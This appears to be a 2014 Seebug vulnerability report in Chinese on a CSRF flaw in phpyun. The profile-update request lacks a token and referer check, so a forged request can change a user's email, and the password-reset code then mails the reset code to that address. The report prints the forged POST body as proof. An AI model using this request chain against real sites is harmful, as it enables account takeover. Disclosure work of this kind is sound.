phpyun csrf修改用户密码

2014-11-24T00:00:00
ID SSV:93960
Type seebug
Reporter Root
Modified 2014-11-24T00:00:00

Description

简要描述:

phpyun csrf修改用户密码

详细说明:

更新用户信息的请求没有防御csrf。可以修改用户的邮箱。而重置密码功能是选择用户信息中的邮箱发送找回验证码。结合利用。 修改用户信息的请求为:

name=11&sex=6&idcard=&birthday=1988-08-08&edu=9&exp=19&telphone=15311112222&email=pass1%40qq.com&living=sss&address=&height=&nationality=&weight=&marriage=&domicile=&telhome=&homepage=&description=sshacked1111111111111111111111111ss&basic_info=1&submitBtn=%B1%A3%B4%E6%D0%C5%CF%A2

该请求没有token,没有验证referer。可以请求伪造。 找回密码的功能参见phpyun3.1\model\forgetpw.class.php

$user = $this->obj->DB_select_once("resume","`uid`='".$info['uid']."'","`telphone`,`email`"); if($user['email'] || $user['telphone']){ for($i=0;$i<6;$i++){ $k = rand(0,36); $string.=$str[$k]; } $this->send_msg_email(array("username"=>$_POST['username'],"password"=>$string,"email"=>$user[email],"moblie"=>$user['telphone'],"type"=>"getpass")); $data['check']=$string; $data['ctime']=time();

从resume表中取邮箱发送验证码。结合利用可以修改用户的密码。

漏洞证明:

name=11&sex=6&idcard=&birthday=1988-08-08&edu=9&exp=19&telphone=15311112222&email=pass1%40qq.com&living=sss&address=&height=&nationality=&weight=&marriage=&domicile=&telhome=&homepage=&description=sshacked1111111111111111111111111ss&basic_info=1&submitBtn=%B1%A3%B4%E6%D0%C5%CF%A2